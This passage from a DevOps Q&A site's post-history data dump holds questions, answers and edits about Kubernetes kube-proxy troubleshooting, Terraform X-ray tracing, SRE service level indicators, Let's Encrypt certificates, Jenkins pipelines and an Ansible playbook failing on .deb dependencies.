GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;16&quot;, GitVersion:&quot;v1.16.0&quot;, GitCommit:&quot;2bd9643cee5b3b3a5ecbd3af49d09018f0773c77&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-09-18T14:27:17Z&quot;, GoVersion:&quot;go1.12.9&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Cloud provider or hardware configuration:&#xD;&#xA;This is a bare-metal cluster of 5 nodes, 1 master and 4 workers. All nodes are running Ubuntu 18.04 and they are connecting to the same subnet.&#xD;&#xA;&#xD;&#xA;- OS (e.g: `cat /etc/os-release`):&#xD;&#xA;```&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.2 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Kernel (e.g. `uname -a`):&#xD;&#xA;```&#xD;&#xA;Linux serflex-argus-1 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- Install tools:&#xD;&#xA;Kubeadm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Network plugin and version (if this is a network-related bug):&#xD;&#xA;Calico&#xD;&#xA;&quot;cniVersion&quot;: &quot;0.3.1&quot;&#xD;&#xA;&#xD;&#xA;# Update&#xD;&#xA;&#xD;&#xA;After deleting all the kube-proxy pods problem seemed to be solved but I still like to know what caused this problem. Btw I didn't see any error in the kube-proxy logs.&#xD;&#xA;&#xD;&#xA;# Update 2&#xD;&#xA;The journalctl also doesn't show any strange activity, it just shows some logs when I deleted the pod of kube-proxy:&#xD;&#xA;```&#xD;&#xA;giant-7:~$ sudo journalctl --since &quot;4 days ago&quot; | grep kube-proxy&#xD;&#xA;&#xD;&#xA;Oct 23 12:24:16 serflex-giant-7 kubelet[31145]: I1023 12:24:16.751108   31145 reconciler.go:181] operationExecutor.UnmountVolume started for volume &quot;kube-proxy&quot; (UniqueName: &quot;kubernetes.io/configmap/02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea-kube-proxy&quot;) pod &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot; (UID: &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot;)&#xD;&#xA;Oct 23 12:24:16 serflex-giant-7 kubelet[31145]: I1023 12:24:16.751237   31145 reconciler.go:181] operationExecutor.UnmountVolume started for volume &quot;kube-proxy-token-4t5tq&quot; (UniqueName: &quot;kubernetes.io/secret/02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea-kube-proxy-token-4t5tq&quot;) pod &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot; (UID: &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot;)&#xD;&#xA;Oct 23 12:24:16 serflex-giant-7 kubelet[31145]: W1023 12:24:16.765057   31145 empty_dir.go:421] Warning: Failed to clear quota on /var/lib/kubelet/pods/02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea/volumes/kubernetes.io~configmap/kube-proxy: ClearQuota called, but quotas disabled&#xD;&#xA;Oct 23 12:24:16 serflex-giant-7 kubelet[31145]: I1023 12:24:16.782557   31145 operation_generator.go:831] UnmountVolume.TearDown succeeded for volume &quot;kubernetes.io/configmap/02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea-kube-proxy&quot; (OuterVolumeSpecName: &quot;kube-proxy&quot;) pod &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot; (UID: &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot;). InnerVolumeSpecName &quot;kube-proxy&quot;. PluginName &quot;kubernetes.io/configmap&quot;, VolumeGidValue &quot;&quot;&#xD;&#xA;Oct 23 12:24:16 serflex-giant-7 kubelet[31145]: I1023 12:24:16.840793   31145 operation_generator.go:831] UnmountVolume.TearDown succeeded for volume &quot;kubernetes.io/secret/02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea-kube-proxy-token-4t5tq&quot; (OuterVolumeSpecName: &quot;kube-proxy-token-4t5tq&quot;) pod &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot; (UID: &quot;02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea&quot;). InnerVolumeSpecName &quot;kube-proxy-token-4t5tq&quot;. PluginName &quot;kubernetes.io/secret&quot;, VolumeGidValue &quot;&quot;&#xD;&#xA;Oct 23 12:24:16 serflex-giant-7 kubelet[31145]: I1023 12:24:16.851656   31145 reconciler.go:301] Volume detached for volume &quot;kube-proxy-token-4t5tq&quot; (UniqueName: &quot;kubernetes.io/secret/02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea-kube-proxy-token-4t5tq&quot;) on node &quot;serflex-giant-7&quot; DevicePath &quot;&quot;&#xD;&#xA;Oct 23 12:24:16 serflex-giant-7 kubelet[31145]: I1023 12:24:16.851679   31145 reconciler.go:301] Volume detached for volume &quot;kube-proxy&quot; (UniqueName: &quot;kubernetes.io/configmap/02a1a1fb-2411-4f0e-98e1-ef2dbd6149ea-kube-proxy&quot;) on node &quot;serflex-giant-7&quot; DevicePath &quot;&quot;&#xD;&#xA;Oct 23 12:24:25 serflex-giant-7 kubelet[31145]: I1023 12:24:25.973757   31145 reconciler.go:207] operationExecutor.VerifyControllerAttachedVolume started for volume &quot;kube-proxy&quot; (UniqueName: &quot;kubernetes.io/configmap/4e7f5d97-fd49-461b-ae38-6bc5e3f0462b-kube-proxy&quot;) pod &quot;kube-proxy-qpj4h&quot; (UID: &quot;4e7f5d97-fd49-461b-ae38-6bc5e3f0462b&quot;)&#xD;&#xA;Oct 23 12:24:25 serflex-giant-7 kubelet[31145]: I1023 12:24:25.973826   31145 reconciler.go:207] operationExecutor.VerifyControllerAttachedVolume started for volume &quot;lib-modules&quot; (UniqueName: &quot;kubernetes.io/host-path/4e7f5d97-fd49-461b-ae38-6bc5e3f0462b-lib-modules&quot;) pod &quot;kube-proxy-qpj4h&quot; (UID: &quot;4e7f5d97-fd49-461b-ae38-6bc5e3f0462b&quot;)&#xD;&#xA;Oct 23 12:24:25 serflex-giant-7 kubelet[31145]: I1023 12:24:25.973958   31145 reconciler.go:207] operationExecutor.VerifyControllerAttachedVolume started for volume &quot;kube-proxy-token-4t5tq&quot; (UniqueName: &quot;kubernetes.io/secret/4e7f5d97-fd49-461b-ae38-6bc5e3f0462b-kube-proxy-token-4t5tq&quot;) pod &quot;kube-proxy-qpj4h&quot; (UID: &quot;4e7f5d97-fd49-461b-ae38-6bc5e3f0462b&quot;)&#xD;&#xA;Oct 23 12:24:25 serflex-giant-7 kubelet[31145]: I1023 12:24:25.974027   31145 reconciler.go:207] operationExecutor.VerifyControllerAttachedVolume started for volume &quot;xtables-lock&quot; (UniqueName: &quot;kubernetes.io/host-path/4e7f5d97-fd49-461b-ae38-6bc5e3f0462b-xtables-lock&quot;) pod &quot;kube-proxy-qpj4h&quot; (UID: &quot;4e7f5d97-fd49-461b-ae38-6bc5e3f0462b&quot;)&#xD;&#xA;Oct 23 12:24:26 serflex-giant-7 systemd[1]: Started Kubernetes transient mount for /var/lib/kubelet/pods/4e7f5d97-fd49-461b-ae38-6bc5e3f0462b/volumes/kubernetes.io~secret/kube-proxy-token-4t5tq.&#xD;&#xA;Oct 23 12:24:26 serflex-giant-7 kubelet[31145]: E1023 12:24:26.645571   31145 kuberuntime_manager.go:920] PodSandboxStatus of sandbox &quot;ff4c1ba15b8c11a4fe86974286d81ebe4870d9e670226234fae6c7c21ce36c1d&quot; for pod &quot;kube-proxy-qpj4h_kube-system(4e7f5d97-fd49-461b-ae38-6bc5e3f0462b)&quot; error: rpc error: code = Unknown desc = Error: No such container: ff4c1ba15b8c11a4fe86974286d81ebe4870d9e670226234fae6c7c21ce36c1d&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28476" PostHistoryTypeId="2" PostId="9539" RevisionGUID="f9d1d72e-4f4d-4d4c-b655-55e310c5eafd" CreationDate="2019-10-23T14:48:30.613" UserId="397" Text="This looks like it was added to Terraform back in May 2017, you enable it with the `tracing_config` block:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;tracing_config {&#xD;&#xA;  mode = &quot;Active&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You will also need to make sure that Terraform has a minimum of Write access to X-ray to enable the above to work:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;data &quot;aws_iam_policy&quot; &quot;aws_xray_write_only_access&quot; {&#xD;&#xA;  arn = &quot;arn:aws:iam::aws:policy/AWSXrayWriteOnlyAccess&quot;&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28477" PostHistoryTypeId="2" PostId="9540" RevisionGUID="61b92c23-395e-483d-9736-546d40ebd025" CreationDate="2019-10-23T15:00:48.373" UserId="397" Text="Sounds like the problem has been resolved by deleting all of the `kube-proxy` pods, which is an aggressive solution but if it works then good work!&#xD;&#xA;&#xD;&#xA;Best I can offer you is a collection of links about diagnosing Kubernetes problems:&#xD;&#xA;&#xD;&#xA; - [Troubleshoot Applications][1]&#xD;&#xA; - [Troubleshooting Kubernetes Networking Issues][2]&#xD;&#xA; - [Troubleshooting GKE][3] (GKE Specific but still useful)&#xD;&#xA; - [Deploy Kubespy][4]&#xD;&#xA;&#xD;&#xA;Not a great answer I'm afraid, but we may have missed the opportunity to diagnose the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/debug-application-cluster/debug-application/&#xD;&#xA;  [2]: http://Troubleshooting%20Kubernetes%20Networking%20Issues&#xD;&#xA;  [3]: https://cloud.google.com/kubernetes-engine/docs/troubleshooting&#xD;&#xA;  [4]: https://www.pulumi.com/blog/kubespy-trace-a-real-time-view-into-the-heart-of-a-kubernetes-service/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28478" PostHistoryTypeId="5" PostId="9526" RevisionGUID="45cf20f6-b440-41b4-ab61-089c112ba387" CreationDate="2019-10-23T15:09:19.983" UserId="397" Comment="Reformatted for clarity" Text="What are the ways to get authorized access to mlflow through Azure Active Directory?&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA; - I need to grant access to the mlflow web interface installed on a Ubuntu 16 Virtual Machine in Azure cloud to only allow authorized users.&#xD;&#xA; - Granting access will be done through group membership in Azure Active Directory." ContentLicense="CC BY-SA 4.0" />
  <row Id="28479" PostHistoryTypeId="4" PostId="9526" RevisionGUID="45cf20f6-b440-41b4-ab61-089c112ba387" CreationDate="2019-10-23T15:09:19.983" UserId="397" Comment="Reformatted for clarity" Text="What are the ways to get authorized access to mlflow through Azure Active Directory?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28480" PostHistoryTypeId="2" PostId="9541" RevisionGUID="40a2369b-5e17-4548-ba58-52ad48315972" CreationDate="2019-10-23T15:21:15.433" UserId="11125" Text="GitHub plugin doesn't pass payload data to any variables available from inside the pipeline.&#xD;&#xA;&#xD;&#xA;Both Jenkins tracker and GitHub plugin project have a number of open and cancelled feature requests requesting this, for instance, https://issues.jenkins-ci.org/browse/JENKINS-24291.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28481" PostHistoryTypeId="2" PostId="9542" RevisionGUID="3f4e34d5-ed9a-421c-bdc8-70ebd18b9e3f" CreationDate="2019-10-23T16:25:03.707" UserId="397" Text="I've come to the point where I am starting to adopt principles from [Site Reliability Engineering][1] to operate Cloud Native applications in a modern way.&#xD;&#xA;&#xD;&#xA;From my reading to date, I have established that one of the core practices is monitoring. The way that SRE approaches monitoring is by defining *Service Level Indicators (SLI)* which measure an aspect of the end-user experience, then identifying a threshold around the SLI which is called a *Service Level Objective (SLO)*.&#xD;&#xA;&#xD;&#xA;So my question what frameworks, processes or techniques should I applied for identifying **good** SLIs for any given user journey?&#xD;&#xA;&#xD;&#xA;  [1]: https://landing.google.com/sre/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28482" PostHistoryTypeId="1" PostId="9542" RevisionGUID="3f4e34d5-ed9a-421c-bdc8-70ebd18b9e3f" CreationDate="2019-10-23T16:25:03.707" UserId="397" Text="How to start defining Service Level Indicators in a SRE organisation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28483" PostHistoryTypeId="3" PostId="9542" RevisionGUID="3f4e34d5-ed9a-421c-bdc8-70ebd18b9e3f" CreationDate="2019-10-23T16:25:03.707" UserId="397" Text="&lt;sre&gt;&lt;operations&gt;&lt;operating-model&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28484" PostHistoryTypeId="2" PostId="9543" RevisionGUID="9ac825c0-ef20-434c-a1ff-5a0dacdccf37" CreationDate="2019-10-23T16:30:06.953" UserId="397" Text="Assuming I can [define Service Level Indicators][1] for a user journey are there any structured methods for setting a Service Level Objective within that SLA without any historical data to indicate what is realistic or feasible? &#xD;&#xA;&#xD;&#xA;For **Availability** we can often turn to various mathematical approaches that enable us to understand the maximum theoretical availability of the system, although even this is tied back to historical data in the form of Mean Time between Failure (MTBF) and Mean Time to Recover (MTTR).&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/9542/how-to-start-defining-service-level-indicators-in-a-sre-organisation" ContentLicense="CC BY-SA 4.0" />
  <row Id="28485" PostHistoryTypeId="1" PostId="9543" RevisionGUID="9ac825c0-ef20-434c-a1ff-5a0dacdccf37" CreationDate="2019-10-23T16:30:06.953" UserId="397" Text="How to define Service Level Objectives without historical data?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28486" PostHistoryTypeId="3" PostId="9543" RevisionGUID="9ac825c0-ef20-434c-a1ff-5a0dacdccf37" CreationDate="2019-10-23T16:30:06.953" UserId="397" Text="&lt;monitoring&gt;&lt;sre&gt;&lt;operations&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28487" PostHistoryTypeId="2" PostId="9544" RevisionGUID="7f9565d2-1a35-42d3-9429-a38d599ee777" CreationDate="2019-10-23T16:38:55.827" UserId="6282" Text="Let's Encrypt is a free TLS/SSL service you can use with your Kubernetes cluster and a lot of the work is automated. You can setup Kubernetes Cluster to reach out to Let's Encrypt and confirm you are the owner of the domain name and to issue you a cert.&#xD;&#xA;&#xD;&#xA;Let's Encrypt will not take the word of your Kubernetes Cluster, but instead make a request to that domain name you supposedly own and if you truly do own it, you will reply. When you respond to that route, you will automatically get a certificate from Let's Encrypt thats going to save it into a secret and make it available to your application. Typically, its good for 90 days and then it will automatically go through this process again.&#xD;&#xA;&#xD;&#xA;The challenge for you is setting up the infrastructure to make this happen.&#xD;&#xA;&#xD;&#xA;Step 1. You need to purchase a domain name. You can use many different services out there, but I would recommend domains.google.com.&#xD;&#xA;&#xD;&#xA;Step 2. You want to set up your domain name by going to your Kubernetes Cluster dashboard in **Services** and then finding the **Ingress service** and thats the IP you will use for your domain name to point to. You are going to click on the **DNS** of the domain name you purchased, look for **Custom resource records** and setup to custom records. The first one will ensure a user who goes to mycluster.com gets forwarded to the IP specified, the second one ensures that a user who goes to www.mycluster.com gets forwarded to the same IP specified.&#xD;&#xA;&#xD;&#xA;So you add the `@` symbol with an `A` record and a 1 hour time to life which is how long it takes for the record to take effect and the IP address assigned to your Load balancer. No port, just the IP address.&#xD;&#xA;&#xD;&#xA;The second record type is `C` name with `www`, 1 hour time to life and obviously thats for your `www.mycluster.com` and thats pretty much it for that.&#xD;&#xA;&#xD;&#xA;Step 3. Is setting up your Kubernetes cluster to obtain a TLS certificate.&#xD;&#xA;&#xD;&#xA;Step 4. You will have to complete an issuer and certificate config files&#xD;&#xA;&#xD;&#xA;Step 5. Deploy your new changes&#xD;&#xA;&#xD;&#xA;Step 6. verify the certificate&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28489" PostHistoryTypeId="2" PostId="9545" RevisionGUID="110d2679-e522-4e4f-bebd-101d7a156cf8" CreationDate="2019-10-23T17:08:30.497" UserId="17761" Text="The [`Executor.interrupt(Result)`][1] method is the cleanest, most direct way I could find to stop a build prematurely *and* mark it as a success.&#xD;&#xA;&#xD;&#xA;    script {&#xD;&#xA;        currentBuild.getRawBuild().getExecutor().interrupt(Result.SUCCESS)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Pros**:&#xD;&#xA;&#xD;&#xA; - Works in a declarative pipeline just as well as a scripted one.&#xD;&#xA; - No try/catch or exceptions to handle.&#xD;&#xA; - Marks the calling stage and any successive stages as green/passing in the UI.&#xD;&#xA;&#xD;&#xA;**Cons**:&#xD;&#xA;&#xD;&#xA; - Requires a number of in-process script approvals, including one that is [considered insecure][2]. Approve and use with caution.&#xD;&#xA;&#xD;&#xA;**Author's note**: If anyone knows of a better way to get at the current `Executor` or trigger its `interrupt()` method, please comment and I will amend my answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://javadoc.jenkins-ci.org/hudson/model/Executor.html#interrupt-hudson.model.Result-&#xD;&#xA;  [2]: https://github.com/jenkinsci/script-security-plugin/pull/69" ContentLicense="CC BY-SA 4.0" />
  <row Id="28490" PostHistoryTypeId="5" PostId="3866" RevisionGUID="ffefcf11-3ed9-461f-a87a-e9b06d655b02" CreationDate="2019-10-23T17:14:51.827" UserId="4852" Comment="fix typo and formatting" Text="I'm currently trying to adopt my declarative pipeline in the following way:&#xD;&#xA;&#xD;&#xA;I have multiple stages, some apply for all branches, some only for specific names.&#xD;&#xA;&#xD;&#xA;What I'm now searching for is a way to get a when condition for the existance of a branch like this:&#xA;&#xA;```&#xD;&#xA;if branch b exist&#xD;&#xA;   checkout branch b&#xD;&#xA;else&#xD;&#xA;   checkout branch a&#xA;```&#xD;&#xA;&#xD;&#xA;Sadly I haven't found a solution for it. I'm pretty sure there is a way using the **git plugin** though.&#xD;&#xA;&#xD;&#xA;There's a [StackOverflow solution][1] for scripted pipelines, but I can't translate them though.&#xD;&#xA;&#xD;&#xA;Can someone help me with this or point me at the right direction?&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/19508326/jenkins-git-branch-selection-with-fallback/48579241#comment86569907_48579241" ContentLicense="CC BY-SA 4.0" />
  <row Id="28491" PostHistoryTypeId="24" PostId="3866" RevisionGUID="ffefcf11-3ed9-461f-a87a-e9b06d655b02" CreationDate="2019-10-23T17:14:51.827" Comment="Proposed by 4852 approved by 397, 40 edit id of 1110" ContentLicense="CC BY-SA 4.0" />
  <row Id="28492" PostHistoryTypeId="5" PostId="5189" RevisionGUID="c13e33e1-3ed5-4a38-9087-e1349c72dc40" CreationDate="2019-10-23T17:15:03.623" UserId="6579" Comment="Improved formatting, use built-in condition 'branch', single quotes for non-interpolated strings" Text="```&#xD;&#xA;pipeline {&#xD;&#xA;  agent any &#xD;&#xA;  stages { &#xD;&#xA;    stage('Tests') {&#xD;&#xA;      when {&#xD;&#xA;        branch 'master'&#xD;&#xA;      }&#xD;&#xA;      steps {&#xD;&#xA;        echo 'foo'&#xD;&#xA;      } &#xD;&#xA;   }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28493" PostHistoryTypeId="24" PostId="5189" RevisionGUID="c13e33e1-3ed5-4a38-9087-e1349c72dc40" CreationDate="2019-10-23T17:15:03.623" Comment="Proposed by 6579 approved by 397, 40 edit id of 1109" ContentLicense="CC BY-SA 4.0" />
  <row Id="28494" PostHistoryTypeId="5" PostId="4217" RevisionGUID="d66fee1c-b769-43af-85b0-d1ed55a19622" CreationDate="2019-10-23T17:15:45.387" UserId="3542" Comment="edit capitalization/formatting for readability" Text="I am using Jenkins with the GitHub Organization item option. On Jenkins with freestyle projects or others I am able to get build metrics: success, failure,  date, node and so forth.&#xD;&#xA;&#xD;&#xA;On the GitHub Organization item, these metrics do not ever populate. I am looking for an automated way to generate these reports. I am hoping for a Jenkins plugin solution or Splunk for Jenkins.&#xD;&#xA;&#xD;&#xA;It is an issue with GitHub single webhook and non physical Jenkins jobs.&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="28495" PostHistoryTypeId="4" PostId="4217" RevisionGUID="d66fee1c-b769-43af-85b0-d1ed55a19622" CreationDate="2019-10-23T17:15:45.387" UserId="3542" Comment="edit capitalization/formatting for readability" Text="Jenkins GitHub Organization Metrics" ContentLicense="CC BY-SA 4.0" />
  <row Id="28496" PostHistoryTypeId="24" PostId="4217" RevisionGUID="d66fee1c-b769-43af-85b0-d1ed55a19622" CreationDate="2019-10-23T17:15:45.387" Comment="Proposed by 3542 approved by 397, -1 edit id of 1107" ContentLicense="CC BY-SA 4.0" />
  <row Id="28497" PostHistoryTypeId="5" PostId="4217" RevisionGUID="f4b30945-400e-486f-a6de-16d7f0434f70" CreationDate="2019-10-23T17:15:45.387" UserId="40" Comment="deleted 14 characters in body" Text="I am using Jenkins with the GitHub Organization item option. On Jenkins with freestyle projects or others I am able to get build metrics: success, failure,  date, node and so forth.&#xD;&#xA;&#xD;&#xA;On the GitHub Organization item, these metrics do not ever populate. I am looking for an automated way to generate these reports. I am hoping for a Jenkins plugin solution or Splunk for Jenkins.&#xD;&#xA;&#xD;&#xA;It is an issue with GitHub single webhook and non physical Jenkins jobs." ContentLicense="CC BY-SA 4.0" />
  <row Id="28500" PostHistoryTypeId="5" PostId="9545" RevisionGUID="24c48a3f-5879-41eb-9b4e-6a08d288deeb" CreationDate="2019-10-23T17:17:46.643" UserId="40" Comment="remove noise" Text="The [`Executor.interrupt(Result)`][1] method is the cleanest, most direct way I could find to stop a build prematurely *and* mark it as a success.&#xD;&#xA;&#xD;&#xA;    script {&#xD;&#xA;        currentBuild.getRawBuild().getExecutor().interrupt(Result.SUCCESS)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Pros**:&#xD;&#xA;&#xD;&#xA; - Works in a declarative pipeline just as well as a scripted one.&#xD;&#xA; - No try/catch or exceptions to handle.&#xD;&#xA; - Marks the calling stage and any successive stages as green/passing in the UI.&#xD;&#xA;&#xD;&#xA;**Cons**:&#xD;&#xA;&#xD;&#xA; - Requires a number of in-process script approvals, including one that is [considered insecure][2]. Approve and use with caution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://javadoc.jenkins-ci.org/hudson/model/Executor.html#interrupt-hudson.model.Result-&#xD;&#xA;  [2]: https://github.com/jenkinsci/script-security-plugin/pull/69" ContentLicense="CC BY-SA 4.0" />
  <row Id="28501" PostHistoryTypeId="2" PostId="9546" RevisionGUID="de25eaee-3c11-436e-bd27-bbbef7c7060e" CreationDate="2019-10-23T17:22:53.037" UserId="17763" Text="I have simple playbook where trying to install the Debian packages downloaded locally in my server. This playbook runs on localhost and install the Debian packages in the same system. &#xD;&#xA;But this playbook gives an error **&quot;Dependency is not satisfiable** for some of the packages even tough the dependency package is available in the local repository.&#xD;&#xA;&#xD;&#xA;I can download all the dependencies required for the specific package in my local repository using  **apt-get install --download-only package_name** &#xD;&#xA;&#xD;&#xA;But in my playbook, i should have a mechanism to install the dependencies first than install the actual package. This task should be dynamic, playbook should resolve the dependencies by itself for any package install.&#xD;&#xA;&#xD;&#xA;***When the package has dependency over another package, How the playbook resolve dynamically.***&#xD;&#xA;&#xD;&#xA;Some of the options explored:&#xD;&#xA;&#xD;&#xA;Using ordered indexed_items, using gdebi.. Looking for efficient Logic.&#xD;&#xA;&#xD;&#xA;**install_dependencies.yml**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      vars:&#xD;&#xA;        remote_media_directory: &quot;/home/local_repository&quot;&#xD;&#xA;      become: yes&#xD;&#xA;      tasks:&#xD;&#xA;        - name: find all debian Packages&#xD;&#xA;          find:&#xD;&#xA;             paths:&#xD;&#xA;                 - &quot;{{ remote_media_directory }}&quot;&#xD;&#xA;             file_type: file&#xD;&#xA;             recurse: yes&#xD;&#xA;             use_regex: yes&#xD;&#xA;             patterns:&#xD;&#xA;               - '.*deb$'&#xD;&#xA;          register: files_matched_subdirectory&#xD;&#xA;    &#xD;&#xA;        - name: installation debian packages&#xD;&#xA;          apt:&#xD;&#xA;            deb: &quot;{{ item.path }}&quot;&#xD;&#xA;          with_items: &quot;{{ files_matched_subdirectory.files }}&quot;&#xD;&#xA;          when: ansible_distribution == &quot;Ubuntu&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   &gt; ansible-playbook install_dependencies.yml&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    PLAY [localhost] **********************************************************************************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] ****************************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost]&#xD;&#xA;    &#xD;&#xA;    TASK [find all debian Packages] *******************************************************************************************************************************************************************************&#xD;&#xA;    ok: [localhost]&#xD;&#xA;    &#xD;&#xA;    TASK [installation debian packages] ***************************************************************************************************************************************************************************&#xD;&#xA;    failed: [localhost] (item={u'uid': 0, u'woth': False, u'mtime': 1571850269.5720358, u'inode': 31195175, u'isgid': False, u'size': 46700, u'roth': True, u'isuid': False, u'isreg': True, u'pw_name': u'root', u'gid': 0, u'ischr': False, u'wusr': True, u'xoth': False, u'rusr': True, u'nlink': 1, u'issock': False, u'rgrp': True, u'gr_name': u'root', u'path': u'/home/local_repository/wireshark_3.0.5-1_amd64.deb', u'xusr': False, u'atime': 1571850391.3553286, u'isdir': False, u'ctime': 1571850312.2437878, u'wgrp': False, u'xgrp': False, u'dev': 2051, u'isblk': False, u'isfifo': False, u'mode': u'0644', u'islnk': False}) =&gt; {&quot;changed&quot;: false, &quot;item&quot;: {&quot;atime&quot;: 1571850391.3553286, &quot;ctime&quot;: 1571850312.2437878, &quot;dev&quot;: 2051, &quot;gid&quot;: 0, &quot;gr_name&quot;: &quot;root&quot;, &quot;inode&quot;: 31195175, &quot;isblk&quot;: false, &quot;ischr&quot;: false, &quot;isdir&quot;: false, &quot;isfifo&quot;: false, &quot;isgid&quot;: false, &quot;islnk&quot;: false, &quot;isreg&quot;: true, &quot;issock&quot;: false, &quot;isuid&quot;: false, &quot;mode&quot;: &quot;0644&quot;, &quot;mtime&quot;: 1571850269.5720358, &quot;nlink&quot;: 1, &quot;path&quot;: &quot;/home/local_repository/wireshark_3.0.5-1_amd64.deb&quot;, &quot;pw_name&quot;: &quot;root&quot;, &quot;rgrp&quot;: true, &quot;roth&quot;: true, &quot;rusr&quot;: true, &quot;size&quot;: 46700, &quot;uid&quot;: 0, &quot;wgrp&quot;: false, &quot;woth&quot;: false, &quot;wusr&quot;: true, &quot;xgrp&quot;: false, &quot;xoth&quot;: false, &quot;xusr&quot;: false}, &quot;msg&quot;: &quot;Dependency is not satisfiable: wireshark-qt (= 3.0.5-1)\n&quot;}&#xD;&#xA;    failed: [localhost] (item={u'uid': 0, u'woth': False, u'mtime': 1571850269.4560366, u'inode': 31195174, u'isgid': False, u'size': 3605060, u'roth': True, u'isuid': False, u'isreg': True, u'pw_name': u'root', u'gid': 0, u'ischr': False, u'wusr': True, u'xoth': False, u'rusr': True, u'nlink': 1, u'issock': False, u'rgrp': True, u'gr_name': u'root', u'path': u'/home/local_repository/wireshark-qt_3.0.5-1_amd64.deb', u'xusr': False, u'atime': 1571850394.3993108, u'isdir': False, u'ctime': 1571850312.2437878, u'wgrp': False, u'xgrp': False, u'dev': 2051, u'isblk': False, u'isfifo': False, u'mode': u'0644', u'islnk': False}) =&gt; {&quot;changed&quot;: false, &quot;item&quot;: {&quot;atime&quot;: 1571850394.3993108, &quot;ctime&quot;: 1571850312.2437878, &quot;dev&quot;: 2051, &quot;gid&quot;: 0, &quot;gr_name&quot;: &quot;root&quot;, &quot;inode&quot;: 31195174, &quot;isblk&quot;: false, &quot;ischr&quot;: false, &quot;isdir&quot;: false, &quot;isfifo&quot;: false, &quot;isgid&quot;: false, &quot;islnk&quot;: false, &quot;isreg&quot;: true, &quot;issock&quot;: false, &quot;isuid&quot;: false, &quot;mode&quot;: &quot;0644&quot;, &quot;mtime&quot;: 1571850269.4560366, &quot;nlink&quot;: 1, &quot;path&quot;: &quot;/home/local_repository/wireshark-qt_3.0.5-1_amd64.deb&quot;, &quot;pw_name&quot;: &quot;root&quot;, &quot;rgrp&quot;: true, &quot;roth&quot;: true, &quot;rusr&quot;: true, &quot;size&quot;: 3605060, &quot;uid&quot;: 0, &quot;wgrp&quot;: false, &quot;woth&quot;: false, &quot;wusr&quot;: true, &quot;xgrp&quot;: false, &quot;xoth&quot;: false, &quot;xusr&quot;: false}, &quot;msg&quot;: &quot;Dependency is not satisfiable: libc6 (&gt;= 2.29)\n&quot;}&#xD;&#xA; 